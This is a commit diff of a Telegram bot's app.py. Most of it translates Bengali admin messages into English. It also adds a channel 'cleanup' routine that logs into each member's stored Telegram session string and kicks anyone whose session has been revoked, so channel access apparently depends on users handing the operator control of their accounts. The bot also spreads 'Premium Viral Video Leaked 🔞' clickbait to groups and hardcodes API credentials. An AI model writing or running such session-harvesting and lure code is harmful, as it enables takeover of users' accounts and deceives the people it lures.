pmrony commited on
Commit
e62669f
·
verified ·
1 Parent(s): 16f76c8

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +113 -35
app.py CHANGED
@@ -19,6 +19,7 @@ API_ID = 2040
19
  API_HASH = "b18441a1ff607e10a989891a5462e627"
20
  SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
21
  SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
 
22
 
23
  # WebApp URL (index.html)
24
  WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
@@ -74,13 +75,12 @@ def api_check_login():
74
  temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
75
  try:
76
  await temp_client.connect()
77
- await temp_client.get_me() # সেশন অ্যাক্টিভ কিনা টেস্ট করা
78
  await temp_client.disconnect()
79
  return {"status": "logged_in"}
80
  except Exception:
81
  try: await temp_client.disconnect()
82
  except: pass
83
- # টার্মিনেট থাকলে ডাটাবেস থেকে ডিলিট করে দেবে
84
  await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
85
  return {"status": "not_logged_in"}
86
  return {"status": "not_logged_in"}
@@ -228,7 +228,7 @@ async def bot_added_to_group(client, message):
228
  try:
229
  await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
230
  group_name = message.chat.title
231
- admin_msg = f"✅ <b>বট নতুন একটি গ্রুপে অ্যাড হয়েছে!</b>\n\n📌 <b>গ্রুপের নাম:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
232
  for admin_id in ADMIN_IDS:
233
  try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
234
  except: pass
@@ -242,7 +242,7 @@ async def set_blur_state(client, message):
242
  if message.chat.id in admin_states:
243
  admin_states[message.chat.id].pop("blur_percent", None)
244
  admin_states[message.chat.id].pop("clear_percent", None)
245
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>\nএখন থেকে আপলোড করা ভিডিও আর ব্লার হবে না, আগের মতো শুধুমাত্র ওয়াটারমার্ক হবে।", parse_mode=enums.ParseMode.HTML)
246
  return
247
 
248
  match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
@@ -254,18 +254,18 @@ async def set_blur_state(client, message):
254
  if message.chat.id in admin_states:
255
  admin_states[message.chat.id].pop("blur_percent", None)
256
  admin_states[message.chat.id].pop("clear_percent", None)
257
- await message.reply("✅ <b>ব্লার মোড বন্ধ করা হয়েছে!</b>", parse_mode=enums.ParseMode.HTML)
258
  return
259
 
260
  if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
261
  admin_states[message.chat.id]["blur_percent"] = percent
262
  admin_states[message.chat.id]["clear_percent"] = clear_percent
263
 
264
- clear_msg = f"এবং উপরের <b>{clear_percent}%</b> অংশ ক্লিয়ার থাকবে।" if clear_percent > 0 else "পুরো ছবি/ভিডিও ব্লার হবে।"
265
- reply_text = f"✅ <b>ব্লার সেট করা হয়েছে: {percent}%</b>\n📌 {clear_msg}\n\nএখন থেকে আপলোড করা সব ভিডিও/ছবিতে এটি অ্যাপ্লাই হবে।\n<i>(বন্ধ করতে /blur 0)</i>"
266
  await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
267
  else:
268
- await message.reply("❌ <b>ভুল কমান্ড!</b>\nসঠিক নিয়ম: `/blur 60` অথবা `/blur 60 20`")
269
  except Exception as e: print(e)
270
 
271
  def upload_file_sync(upload_url, file_path, api_key):
@@ -284,7 +284,7 @@ async def handle_media_upload(client, message):
284
  is_persistent_blur = bool(state.get("blur_percent"))
285
 
286
  if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
287
- status = await message.reply("⏳ থাম্বনেইল সেভ হচ্ছে...")
288
  try:
289
  local_path = await message.download()
290
  def upload_to_supabase():
@@ -295,8 +295,8 @@ async def handle_media_upload(client, message):
295
 
296
  direct_link = await asyncio.to_thread(upload_to_supabase)
297
  if os.path.exists(local_path): os.remove(local_path)
298
- await status.edit_text(f"✅ <b>থাম্বনেইল সফলভাবে সেভ হয়েছে!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
299
- except Exception as e: await status.edit_text(f"⚠️ আপলোড এরর: {e}")
300
  return
301
 
302
  raw_caption = message.caption or ""
@@ -328,7 +328,7 @@ async def handle_media_upload(client, message):
328
  is_large_video = True
329
  is_blur = False
330
 
331
- status_msg = await message.reply("⏳ <b>ভিডিওটি বড়!</b> ব্লার স্কিপ করা হচ্ছে..." if is_large_video else "⏳ মিডিয়া ডাউনলোড হচ্ছে...")
332
  bot_me = client.me if client.me else await client.get_me()
333
  bot_link = f"https://t.me/{bot_me.username}"
334
 
@@ -339,7 +339,7 @@ async def handle_media_upload(client, message):
339
  final_file = original_file
340
 
341
  if media_type == "video" and not is_large_video:
342
- await status_msg.edit_text("⏳ ভিডিও ওয়াটারমার্ক করা হচ্ছে... (ফাস্ট প্রসেসিং)")
343
  watermarked_file = f"{original_file}_wm.mp4"
344
  cmd = [
345
  "ffmpeg", "-y", "-i", original_file,
@@ -352,14 +352,14 @@ async def handle_media_upload(client, message):
352
  if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
353
 
354
  if is_blur and not is_large_video:
355
- await status_msg.edit_text(f"⏳ {blur_percent}% ব্লার তৈরি করা হচ্ছে...")
356
  radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
357
  ext = "jpg" if media_type == "photo" else "mp4"
358
  blurred_file = f"{original_file}_blurred.{ext}"
359
 
360
  if clear_percent > 0:
361
  clear_ratio = clear_percent / 100.0
362
- ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0"]
363
  else:
364
  ff_filter = ["-vf", f"boxblur={radius}:1"]
365
 
@@ -372,7 +372,7 @@ async def handle_media_upload(client, message):
372
  if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
373
 
374
  if media_type == "video":
375
- await status_msg.edit_text("⏳ byse.sx সার্ভারে ভিডিও আপলোড করা হচ্ছে...")
376
  api_endpoint = "https://api.byse.sx/upload/server"
377
  loop = asyncio.get_event_loop()
378
  response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
@@ -383,29 +383,29 @@ async def handle_media_upload(client, message):
383
  if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
384
  file_status = upload_res['files'][0].get('status', '')
385
  if "not allowed" in str(file_status).lower():
386
- await status_msg.edit_text(f"❌ byse.sx ফাইল রিজেক্ট করেছে: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
387
  return
388
  file_code = upload_res['files'][0].get('filecode')
389
  if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
390
 
391
  if not embed_link:
392
- await status_msg.edit_text("❌ byse.sx আপলোড হয়েছে কিন্তু Embed Link পাওয়া যায়নি।")
393
  return
394
 
395
  if is_large_video:
396
- admin_cap = f"✅ <b>সফল! (বড় ভিডিও)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>ভিডিওটি বড় হওয়ায় ব্রডকাস্ট স্কিপ করা হয়েছে।</i>"
397
  await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
398
  await status_msg.delete()
399
  return
400
 
401
- await status_msg.edit_text("⏳ গ্রুপে পাঠানোর প্রস্তুতি চলছে...")
402
  if media_type == "video":
403
  caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
404
  else:
405
  caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
406
 
407
  group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
408
- admin_cap = f"✅ <b>সফল!</b> মিডিয়াটি ব্রডকাস্ট হচ্ছে...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
409
 
410
  thumb_path = None
411
  if media_type == "video":
@@ -421,7 +421,7 @@ async def handle_media_upload(client, message):
421
  sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
422
  tg_file_id = sent_to_admin.animation.file_id
423
  else:
424
- sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumb=thumb_path)
425
  tg_file_id = sent_to_admin.video.file_id
426
 
427
  await status_msg.delete()
@@ -438,9 +438,9 @@ async def handle_media_upload(client, message):
438
  await asyncio.sleep(1.5)
439
  except Exception: fail_count += 1
440
 
441
- await message.reply(f"📢 <b>ব্রডকাস্ট সম্পন্ন!</b>\n\n✅ সফল: {success_count} টি গ্রুপে\n❌ ব্যর্থ (রিমুভড): {fail_count} টি গ্রুপে", parse_mode=enums.ParseMode.HTML)
442
 
443
- except Exception as e: await message.reply(f"⚠️ এরর হয়েছে: {str(e)}")
444
  finally:
445
  for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
446
  if f and os.path.exists(f):
@@ -453,22 +453,22 @@ async def bot_stats(client, message):
453
  users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
454
  videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
455
  groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
456
- await message.reply(f"📊 <b>বটের স্ট্যাটাস:</b>\n👥 ইউজার: <code>{users.count or 0}</code>\n🎬 ভিডিও: <code>{videos.count or 0}</code>\n📢 গ্রুপ: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
457
  except Exception as e: print(e)
458
 
459
  @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
460
  async def broadcast_command(client, message):
461
  admin_states[message.chat.id] = {"step": "broadcast"}
462
- await message.reply("📢 সবার কাছে যা পাঠাতে চান দিন। (বাতিল করতে /cancel)")
463
 
464
  async def process_broadcast(client, message):
465
  text = message.text or message.caption
466
  if text == '/cancel':
467
  admin_states.pop(message.chat.id, None)
468
- await message.reply("❌ বাতিল করা হয়েছে।")
469
  return
470
 
471
- await message.reply("⏳ ব্রডকাস্ট শুরু হয়েছে...")
472
  admin_states.pop(message.chat.id, None)
473
 
474
  try:
@@ -487,7 +487,7 @@ async def process_broadcast(client, message):
487
  await asyncio.sleep(0.15)
488
  except Exception: failed += 1
489
 
490
- await message.reply(f"✅ ব্রডকাস্ট সম্পন্ন!\nসফল: {success}\nব্যর্থ: {failed}")
491
  except Exception as e: print(e)
492
 
493
  @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
@@ -498,13 +498,90 @@ async def add_png(client, message):
498
  if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
499
  elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
500
  elif len(parts) == 2: thumbnail_url = parts[1]
501
- else: return await message.reply("❌ নিয়ম ভুল।")
502
 
503
  admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
504
- await message.reply("✅ এখন Video/Embed Link দিন।")
505
  except Exception as e: print(e)
506
 
507
- @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur"]))
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
508
  async def catch_admin_steps(client, message):
509
  state = admin_states.get(message.chat.id, {})
510
  if state.get("step") == 1:
@@ -512,11 +589,11 @@ async def catch_admin_steps(client, message):
512
  video_url = message.text.strip()
513
  if video_url == "/cancel":
514
  admin_states.pop(message.chat.id, None)
515
- return await message.reply("❌ বাতিল করা হয়েছে।")
516
 
517
  try:
518
  await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
519
- await message.reply("🎉 ভিডিও সফলভাবে অ্যাড হয়েছে!")
520
  except Exception as e: print(e)
521
  finally: admin_states.pop(message.chat.id, None)
522
  elif state.get("step") == "broadcast":
@@ -525,7 +602,8 @@ async def catch_admin_steps(client, message):
525
  def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
526
  async def main():
527
  await bot.start()
528
- print("🤖 Pyrogram Bot & Real Session Generator is running!")
 
529
  await idle()
530
  await bot.stop()
531
 
 
19
  API_HASH = "b18441a1ff607e10a989891a5462e627"
20
  SUPABASE_URL = "https://yctirvnryrzygoxbpvoy.supabase.co"
21
  SUPABASE_KEY = "sb_publishable_aBcD-atruskWwoCiLr0lWw_inT8GLoN"
22
+ PREMIUM_CHANNEL_ID = -1002825744390
23
 
24
  # WebApp URL (index.html)
25
  WEB_APP_URL = "https://rony90790.github.io/Forward-bot/index.html"
 
75
  temp_client = Client(f"test_session_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
76
  try:
77
  await temp_client.connect()
78
+ await temp_client.get_me()
79
  await temp_client.disconnect()
80
  return {"status": "logged_in"}
81
  except Exception:
82
  try: await temp_client.disconnect()
83
  except: pass
 
84
  await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
85
  return {"status": "not_logged_in"}
86
  return {"status": "not_logged_in"}
 
228
  try:
229
  await db_query(lambda: supabase.table('groups').upsert({'group_id': message.chat.id}).execute())
230
  group_name = message.chat.title
231
+ admin_msg = f"✅ <b>Bot added to a new group!</b>\n\n📌 <b>Group Name:</b> {group_name}\n🆔 <b>ID:</b> <code>{message.chat.id}</code>"
232
  for admin_id in ADMIN_IDS:
233
  try: await client.send_message(chat_id=admin_id, text=admin_msg, parse_mode=enums.ParseMode.HTML)
234
  except: pass
 
242
  if message.chat.id in admin_states:
243
  admin_states[message.chat.id].pop("blur_percent", None)
244
  admin_states[message.chat.id].pop("clear_percent", None)
245
+ await message.reply("✅ <b>Blur mode is disabled!</b>\nUploaded videos will no longer be blurred, only watermarked as before.", parse_mode=enums.ParseMode.HTML)
246
  return
247
 
248
  match = re.search(r'/blur\s+(\d+)%?(?:\s+(\d+)%?)?', message.text, re.IGNORECASE)
 
254
  if message.chat.id in admin_states:
255
  admin_states[message.chat.id].pop("blur_percent", None)
256
  admin_states[message.chat.id].pop("clear_percent", None)
257
+ await message.reply("✅ <b>Blur mode is disabled!</b>", parse_mode=enums.ParseMode.HTML)
258
  return
259
 
260
  if message.chat.id not in admin_states: admin_states[message.chat.id] = {}
261
  admin_states[message.chat.id]["blur_percent"] = percent
262
  admin_states[message.chat.id]["clear_percent"] = clear_percent
263
 
264
+ clear_msg = f"and the top <b>{clear_percent}%</b> part will remain clear." if clear_percent > 0 else "The entire photo/video will be blurred."
265
+ reply_text = f"✅ <b>Blur set to: {percent}%</b>\n📌 {clear_msg}\n\nThis will be applied to all future uploads.\n<i>(To disable, send /blur 0)</i>"
266
  await message.reply(reply_text, parse_mode=enums.ParseMode.HTML)
267
  else:
268
+ await message.reply("❌ <b>Invalid command!</b>\nCorrect format: `/blur 60` or `/blur 60 20`")
269
  except Exception as e: print(e)
270
 
271
  def upload_file_sync(upload_url, file_path, api_key):
 
284
  is_persistent_blur = bool(state.get("blur_percent"))
285
 
286
  if media_type == "photo" and not (has_blur_caption or is_persistent_blur):
287
+ status = await message.reply("⏳ Saving thumbnail...")
288
  try:
289
  local_path = await message.download()
290
  def upload_to_supabase():
 
295
 
296
  direct_link = await asyncio.to_thread(upload_to_supabase)
297
  if os.path.exists(local_path): os.remove(local_path)
298
+ await status.edit_text(f"✅ <b>Thumbnail saved successfully!</b>\n\n<code>{direct_link}</code>", parse_mode=enums.ParseMode.HTML)
299
+ except Exception as e: await status.edit_text(f"⚠️ Upload Error: {e}")
300
  return
301
 
302
  raw_caption = message.caption or ""
 
328
  is_large_video = True
329
  is_blur = False
330
 
331
+ status_msg = await message.reply("⏳ <b>Video is too large!</b> Skipping blur..." if is_large_video else "⏳ Downloading media...")
332
  bot_me = client.me if client.me else await client.get_me()
333
  bot_link = f"https://t.me/{bot_me.username}"
334
 
 
339
  final_file = original_file
340
 
341
  if media_type == "video" and not is_large_video:
342
+ await status_msg.edit_text("⏳ Watermarking video... (Fast processing)")
343
  watermarked_file = f"{original_file}_wm.mp4"
344
  cmd = [
345
  "ffmpeg", "-y", "-i", original_file,
 
352
  if process.returncode == 0 and os.path.exists(watermarked_file): final_file = watermarked_file
353
 
354
  if is_blur and not is_large_video:
355
+ await status_msg.edit_text(f"⏳ Applying {blur_percent}% blur...")
356
  radius = max(2, min(20, int((blur_percent / 100.0) * 30)))
357
  ext = "jpg" if media_type == "photo" else "mp4"
358
  blurred_file = f"{original_file}_blurred.{ext}"
359
 
360
  if clear_percent > 0:
361
  clear_ratio = clear_percent / 100.0
362
+ ff_filter = ["-filter_complex", f"[0:v]split[v1][v2];[v2]boxblur={radius}:1[blurred];[v1]crop=iw:ih*{clear_ratio}:0:0[top];[blurred][top]overlay=0:0[vout]", "-map", "[vout]", "-map", "0:a?"]
363
  else:
364
  ff_filter = ["-vf", f"boxblur={radius}:1"]
365
 
 
372
  if process_blur.returncode == 0 and os.path.exists(blurred_file): final_file = blurred_file
373
 
374
  if media_type == "video":
375
+ await status_msg.edit_text("⏳ Uploading video to byse.sx server...")
376
  api_endpoint = "https://api.byse.sx/upload/server"
377
  loop = asyncio.get_event_loop()
378
  response = await loop.run_in_executor(None, lambda: requests.get(api_endpoint, params={'key': BYSE_API_KEY}, timeout=30))
 
383
  if upload_res.get('status') == 200 and 'files' in upload_res and len(upload_res['files']) > 0:
384
  file_status = upload_res['files'][0].get('status', '')
385
  if "not allowed" in str(file_status).lower():
386
+ await status_msg.edit_text(f"❌ byse.sx rejected the file: <code>{file_status}</code>", parse_mode=enums.ParseMode.HTML)
387
  return
388
  file_code = upload_res['files'][0].get('filecode')
389
  if file_code: embed_link = f"https://bysesayeveum.com/e/{file_code}"
390
 
391
  if not embed_link:
392
+ await status_msg.edit_text("❌ Uploaded to byse.sx but Embed Link not found.")
393
  return
394
 
395
  if is_large_video:
396
+ admin_cap = f"✅ <b>Success! (Large Video)</b>\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>\n\n📌 <i>Broadcast skipped due to large file size.</i>"
397
  await client.send_video(message.chat.id, message.video.file_id, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
398
  await status_msg.delete()
399
  return
400
 
401
+ await status_msg.edit_text("⏳ Preparing to broadcast to groups...")
402
  if media_type == "video":
403
  caption_text = f"🔥 <b>New Premium Viral Video Leaked!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{embed_link if is_blur else bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
404
  else:
405
  caption_text = f"{clean_caption}\n\n👇 <i>Click the button below to open Bot!</i>" if clean_caption else f"🔥 <b>New Premium Viral Content!</b> 🔞\n\n🎬 <b>Watch HD Video Here:</b>\n👉 <b><a href='{bot_link}'>▶️ Click Here to Watch</a></b>\n\n👇 <i>Click the button below to open Bot!</i>"
406
 
407
  group_markup = InlineKeyboardMarkup([[InlineKeyboardButton("🎬 Watch Full Video Here 🔞", url=bot_link)]])
408
+ admin_cap = f"✅ <b>Success!</b> Media is broadcasting...\n\n🔗 <b>Embed Link:</b>\n<code>{embed_link or 'N/A'}</code>"
409
 
410
  thumb_path = None
411
  if media_type == "video":
 
421
  sent_to_admin = await client.send_animation(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML)
422
  tg_file_id = sent_to_admin.animation.file_id
423
  else:
424
+ sent_to_admin = await client.send_video(message.chat.id, final_file, caption=admin_cap, parse_mode=enums.ParseMode.HTML, duration=message.video.duration, width=message.video.width, height=message.video.height, thumbnail=thumb_path)
425
  tg_file_id = sent_to_admin.video.file_id
426
 
427
  await status_msg.delete()
 
438
  await asyncio.sleep(1.5)
439
  except Exception: fail_count += 1
440
 
441
+ await message.reply(f"📢 <b>Broadcast Complete!</b>\n\n✅ Success: {success_count} groups\n❌ Failed: {fail_count} groups", parse_mode=enums.ParseMode.HTML)
442
 
443
+ except Exception as e: await message.reply(f"⚠️ Error occurred: {str(e)}")
444
  finally:
445
  for f in [original_file, watermarked_file, blurred_file, f"{original_file}_thumb.jpg" if original_file else None]:
446
  if f and os.path.exists(f):
 
453
  users = await db_query(lambda: supabase.table('referrals').select('user_id', count='exact').execute())
454
  videos = await db_query(lambda: supabase.table('videos').select('*', count='exact').execute())
455
  groups = await db_query(lambda: supabase.table('groups').select('group_id', count='exact').execute())
456
+ await message.reply(f"📊 <b>Bot Stats:</b>\n👥 Users: <code>{users.count or 0}</code>\n🎬 Videos: <code>{videos.count or 0}</code>\n📢 Groups: <code>{groups.count or 0}</code>", parse_mode=enums.ParseMode.HTML)
457
  except Exception as e: print(e)
458
 
459
  @bot.on_message(filters.command("broadcast") & filters.private & filters.user(ADMIN_IDS))
460
  async def broadcast_command(client, message):
461
  admin_states[message.chat.id] = {"step": "broadcast"}
462
+ await message.reply("📢 Send the message you want to broadcast. (Send /cancel to abort)")
463
 
464
  async def process_broadcast(client, message):
465
  text = message.text or message.caption
466
  if text == '/cancel':
467
  admin_states.pop(message.chat.id, None)
468
+ await message.reply("❌ Cancelled.")
469
  return
470
 
471
+ await message.reply("⏳ Broadcast started...")
472
  admin_states.pop(message.chat.id, None)
473
 
474
  try:
 
487
  await asyncio.sleep(0.15)
488
  except Exception: failed += 1
489
 
490
+ await message.reply(f"✅ Broadcast Complete!\nSuccess: {success}\nFailed: {failed}")
491
  except Exception as e: print(e)
492
 
493
  @bot.on_message(filters.command(["png", "addvideo"]) & filters.private & filters.user(ADMIN_IDS))
 
498
  if len(parts) == 4 and parts[1].isdigit(): needed_ref, duration, thumbnail_url = int(parts[1]), parts[2], parts[3]
499
  elif len(parts) == 3 and parts[1].isdigit(): needed_ref, thumbnail_url = int(parts[1]), parts[2]
500
  elif len(parts) == 2: thumbnail_url = parts[1]
501
+ else: return await message.reply("❌ Invalid format.")
502
 
503
  admin_states[message.chat.id] = {"step": 1, "thumbnail_url": f"{thumbnail_url}||{duration}", "needed_ref": needed_ref}
504
+ await message.reply("✅ Now send the Video/Embed Link.")
505
  except Exception as e: print(e)
506
 
507
+ @bot.on_message(filters.command("clean") & filters.private & filters.user(ADMIN_IDS))
508
+ async def manual_clean_channel(client, message):
509
+ await message.reply("⏳ <b>Starting channel cleanup...</b>\nChecking all members in the premium channel to verify active sessions. This might take a while.")
510
+ try:
511
+ kicked, checked = 0, 0
512
+ async for member in client.get_chat_members(PREMIUM_CHANNEL_ID):
513
+ if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
514
+ continue
515
+
516
+ checked += 1
517
+ user_id = member.user.id
518
+ res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
519
+
520
+ is_valid = False
521
+ if res.data:
522
+ session_string = res.data[0]['session_string']
523
+ temp_client = Client(f"manual_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
524
+ try:
525
+ await temp_client.connect()
526
+ await temp_client.get_me()
527
+ await temp_client.disconnect()
528
+ is_valid = True
529
+ except Exception:
530
+ try: await temp_client.disconnect()
531
+ except: pass
532
+ await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
533
+
534
+ if not is_valid:
535
+ try:
536
+ await client.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
537
+ await client.unban_chat_member(PREMIUM_CHANNEL_ID, user_id) # Kick only so they can re-join later
538
+ kicked += 1
539
+ except Exception as e: pass
540
+
541
+ await asyncio.sleep(1.5)
542
+
543
+ await message.reply(f"✅ <b>Cleanup Complete!</b>\n\n👥 Members checked: {checked}\n👢 Users Kicked (Terminated Session): {kicked}")
544
+ except Exception as e:
545
+ await message.reply(f"❌ Error: {e}")
546
+
547
+ async def auto_clean_channel_loop():
548
+ await asyncio.sleep(60) # Wait 1 min after startup
549
+ while True:
550
+ try:
551
+ async for member in bot.get_chat_members(PREMIUM_CHANNEL_ID):
552
+ if member.user.is_bot or member.status in [enums.ChatMemberStatus.ADMINISTRATOR, enums.ChatMemberStatus.OWNER]:
553
+ continue
554
+
555
+ user_id = member.user.id
556
+ res = await db_query(lambda: supabase.table('user_sessions').select('session_string').eq('user_id', user_id).execute())
557
+
558
+ is_valid = False
559
+ if res.data:
560
+ session_string = res.data[0]['session_string']
561
+ temp_client = Client(f"bg_chk_{user_id}", session_string=session_string, api_id=API_ID, api_hash=API_HASH, in_memory=True)
562
+ try:
563
+ await temp_client.connect()
564
+ await temp_client.get_me()
565
+ await temp_client.disconnect()
566
+ is_valid = True
567
+ except Exception:
568
+ try: await temp_client.disconnect()
569
+ except: pass
570
+ await db_query(lambda: supabase.table('user_sessions').delete().eq('user_id', user_id).execute())
571
+
572
+ if not is_valid:
573
+ try:
574
+ await bot.ban_chat_member(PREMIUM_CHANNEL_ID, user_id)
575
+ await bot.unban_chat_member(PREMIUM_CHANNEL_ID, user_id)
576
+ except Exception: pass
577
+
578
+ await asyncio.sleep(2)
579
+ except Exception as e:
580
+ print(f"Auto clean error: {e}")
581
+
582
+ await asyncio.sleep(4 * 3600) # Run every 4 hours
583
+
584
+ @bot.on_message(filters.private & filters.user(ADMIN_IDS) & ~filters.command(["start", "stats", "users", "broadcast", "png", "addvideo", "blur", "clean"]))
585
  async def catch_admin_steps(client, message):
586
  state = admin_states.get(message.chat.id, {})
587
  if state.get("step") == 1:
 
589
  video_url = message.text.strip()
590
  if video_url == "/cancel":
591
  admin_states.pop(message.chat.id, None)
592
+ return await message.reply("❌ Cancelled.")
593
 
594
  try:
595
  await db_query(lambda: supabase.table('videos').insert({"video_url": video_url, "thumbnail_url": state["thumbnail_url"], "needed_ref": state["needed_ref"]}).execute())
596
+ await message.reply("🎉 Video added successfully!")
597
  except Exception as e: print(e)
598
  finally: admin_states.pop(message.chat.id, None)
599
  elif state.get("step") == "broadcast":
 
602
  def run_flask(): app.run(host="0.0.0.0", port=int(os.environ.get("PORT", 7860)))
603
  async def main():
604
  await bot.start()
605
+ print("🤖 Pyrogram Bot & Real Session API is running!")
606
+ asyncio.create_task(auto_clean_channel_loop())
607
  await idle()
608
  await bot.stop()
609